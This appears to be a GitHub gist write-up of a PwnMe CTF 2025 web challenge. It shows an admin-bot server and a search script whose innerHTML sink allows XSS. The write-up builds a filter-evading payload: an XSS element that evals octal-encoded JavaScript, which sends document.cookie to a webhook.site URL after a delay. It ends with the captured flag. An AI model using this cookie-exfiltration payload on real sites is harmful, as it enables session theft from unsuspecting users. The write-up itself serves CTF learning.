Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save ky28059/0d9af500fb0b9923022eaad055fc7b7c to your computer and use it in GitHub Desktop.
Save ky28059/0d9af500fb0b9923022eaad055fc7b7c to your computer and use it in GitHub Desktop.

PwnMe CTF Quals 2025 — Hack the bot 1

I've developed a little application to help me with my pentest missions, with lots of useful payloads! I even let users add new payloads, but since I was in a rush I didn't have time to test the security of my application, could you take care of it ?

We're given an express server that looks like this:

const express = require('express');
const path = require('path');
const fs = require('fs');
const { spawn } = require('child_process');
const puppeteer = require('puppeteer');
const { format } = require('date-fns');

const app = express();
const port = 5000;

const logPath = '/tmp/bot_folder/logs/';
const browserCachePath = '/tmp/bot_folder/browser_cache/';

const cookie = {
    name: 'Flag',
    value: "PWNME{FAKE_FLAG}",
    sameSite: 'Strict'
};

app.use(express.urlencoded({ extended: true }));

app.use(express.static(path.join(__dirname, 'public')));

app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');

if (!fs.existsSync(logPath)) {
    fs.mkdirSync(logPath, { recursive: true });
}

if (!fs.existsSync(browserCachePath)) {
    fs.mkdirSync(browserCachePath, { recursive: true });
}

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));

async function startBot(url, name) {
    const logFilePath = path.join(logPath, `${name}.log`);

    try {
        const logStream = fs.createWriteStream(logFilePath, { flags: 'a' });
        logStream.write(`${new Date()} : Attempting to open website ${url}\n`);

        const browser = await puppeteer.launch({
            headless: 'new',
            args: ['--remote-allow-origins=*','--no-sandbox', '--disable-dev-shm-usage', `--user-data-dir=${browserCachePath}`]
        });

        const page = await browser.newPage();
        await page.goto(url);

        if (url.startsWith("http://localhost/")) {
            await page.setCookie(cookie);
        }

        logStream.write(`${new Date()} : Successfully opened ${url}\n`);
        
        await sleep(7000);
        await browser.close();

        logStream.write(`${new Date()} : Finished execution\n`);
        logStream.end();
    } catch (e) {
        const logStream = fs.createWriteStream(logFilePath, { flags: 'a' });
        logStream.write(`${new Date()} : Exception occurred: ${e}\n`);
        logStream.end();
    }
}

app.get('/', (req, res) => {
    res.render('index');
});

app.get('/report', (req, res) => {
    res.render('report');
});

app.post('/report', (req, res) => {
    const url = req.body.url;
    const name = format(new Date(), "yyMMdd_HHmmss");
    startBot(url, name);
    res.status(200).send(`logs/${name}.log`);
});

app.listen(port, () => {
    console.log(`App running at http://0.0.0.0:${port}`);
});

Seemingly, the server sets up a simple "admin bot" whose cookie we need to extract via XSS.

But where is the XSS vulnerability? Looking in the script loaded by index.ejs,

// Implements search functionality, filtering articles to display only those matching the search words (considering whole words case-insensitive matches)

function getSearchQuery() {
    const params = new URLSearchParams(window.location.search);
    // Utiliser une valeur par défaut de chaîne vide si le paramètre n'existe pas
    return params.get('q') ? params.get('q').toLowerCase() : '';
}

document.addEventListener('DOMContentLoaded', function() {
    const searchQuery = getSearchQuery();
    document.getElementById('search-input').value = searchQuery; 
    if (searchQuery) {
        searchArticles(searchQuery);
    }
});

document.getElementById('search-icon').addEventListener('click', function() {
    searchArticles();
});

document.getElementById('search-input').addEventListener('keypress', function(event) {
    if (event.key === 'Enter') {
        searchArticles();
    }
});

function searchArticles(searchInput = document.getElementById('search-input').value.toLowerCase().trim()) {
    const searchWords = searchInput.split(/[^\p{L}]+/u);
    const articles = document.querySelectorAll('.article-box');
    let found = false;
    articles.forEach(article => {
        if (searchInput === '') {
            article.style.display = '';
            found = true;
        } else {
            const articleText = article.textContent.toLowerCase();
            const isMatch = searchWords.some(word => word && new RegExp(`${word}`, 'ui').test(articleText));
            if (isMatch) {
                article.style.display = '';
                found = true;
            } else {
                article.style.display = 'none';
            }
        }
    });
    const noMatchMessage = document.getElementById('no-match-message');
    if (!found && searchInput) {
        noMatchMessage.innerHTML = `No results for "${searchInput}".`;
        noMatchMessage.style.display = 'block';
    } else {
        noMatchMessage.style.display = 'none';
    }
}

The idea seems to be that

  • The page automatically populates search-input with our passed-in query string.
  • For each "word" (tokens separated by characters not in the unicode letter category) in our query, we perform a case-insensitive Regex match against the text of each article on the page.
  • If no matches are found, we get direct innerHTML access -> XSS.

But there's one last problem; the page's articles look like this:

image

so we need to be careful about choosing an XSS payload that doesn't match any of the banned tokens above. Looking online, one such payload is

image

<vinh oncontentvisibilityautostatechange="..." style=display:block;content-visibility:auto>

but our executed JS can't contain any of the banned tokens, either. To be safe, we can use JS's deprecated octal escape sequence syntax to encode our payload as

fetch(`https://webhook.site/b7d64b9c-1be5-4c70-8120-fd9fb57cc68a?a=${document.cookie}`)
eval('\146\145\164\143\150\50\140\150\164\164\160\163\72\57\57\167\145\142\150\157\157\153\56\163\151\164\145\57\142\67\144\66\64\142\71\143\55\61\142\145\65\55\64\143\67\60\55\70\61\62\60\55\146\144\71\146\142\65\67\143\143\66\70\141\77\141\75\44\173\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145\175\140\51')

One final hiccup: looking at the bot source again,

        const page = await browser.newPage();
        await page.goto(url);

        if (url.startsWith("http://localhost/")) {
            await page.setCookie(cookie);
        }

the admin visits the page before setting its cookie. As a simple solution, we can just sleep for a bit before exfiltrating the cookie via XSS,

console.log([...'setTimeout(() => fetch(`https://webhook.site/b7d64b9c-1be5-4c70-8120-fd9fb57cc68a?a=${document.cookie}`), 3000)'].map(s => '\\' + s.charCodeAt(0).toString(8)).join(''))

giving us a final payload looking like

<vinh oncontentvisibilityautostatechange="eval('\163\145\164\124\151\155\145\157\165\164\50\50\51\40\75\76\40\146\145\164\143\150\50\140\150\164\164\160\163\72\57\57\167\145\142\150\157\157\153\56\163\151\164\145\57\142\67\144\66\64\142\71\143\55\61\142\145\65\55\64\143\67\60\55\70\61\62\60\55\146\144\71\146\142\65\67\143\143\66\70\141\77\141\75\44\173\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145\175\140\51\54\40\63\60\60\60\51')" style=display:block;content-visibility:auto>

Reporting this to the bot, we get the flag:

image

PWNME{D1d_y0U_S4iD-F1lt33Rs?}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment